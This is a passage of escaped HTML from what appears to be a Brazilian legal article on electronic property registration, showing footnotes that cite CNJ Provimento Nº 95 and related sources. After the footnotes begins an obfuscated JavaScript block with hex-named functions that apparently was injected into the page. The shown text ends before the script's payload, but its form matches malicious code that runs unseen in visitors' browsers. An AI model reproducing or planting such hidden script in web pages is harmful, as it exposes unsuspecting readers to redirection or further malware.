Justi\u00e7a.<\/p>\n<p style=\"text-align: justify;\">Dispon\u00edvel em: &lt;<a href=\"https:\/\/atos.cnj.jus.br\/atos\/detalhar\/3265\">https:\/\/atos.cnj.jus.br\/atos\/detalhar\/3265<\/a>&gt;. Provimento N\u00ba 95 de 01\/04\/2020, Conselho Nacional de Justi\u00e7a.<\/p>\n<p style=\"text-align: justify;\"><a href=\"#_ftnref20\" name=\"_ftn20\">[20]<\/a> Dispon\u00edvel em: &lt; https:\/\/cei-anoregmt.com.br\/Downloads\/provimento_81_2014.pdf&gt;.<\/p>\n<p style=\"text-align: justify;\"><a href=\"#_ftnref21\" name=\"_ftn21\">[21]<\/a> Dispon\u00edvel em: &lt;http:\/\/arisp.files.worldpress.com\/2010\/11\/registro-eletrc3b4nico-parecer-irib.pdf&gt;. Registro eletr\u00f4nico: a nova fronteira do Registro P\u00fablico Imobiliario \u2013 S\u00e9rgio Jacomino.<\/p>\n<p style=\"text-align: justify;\">\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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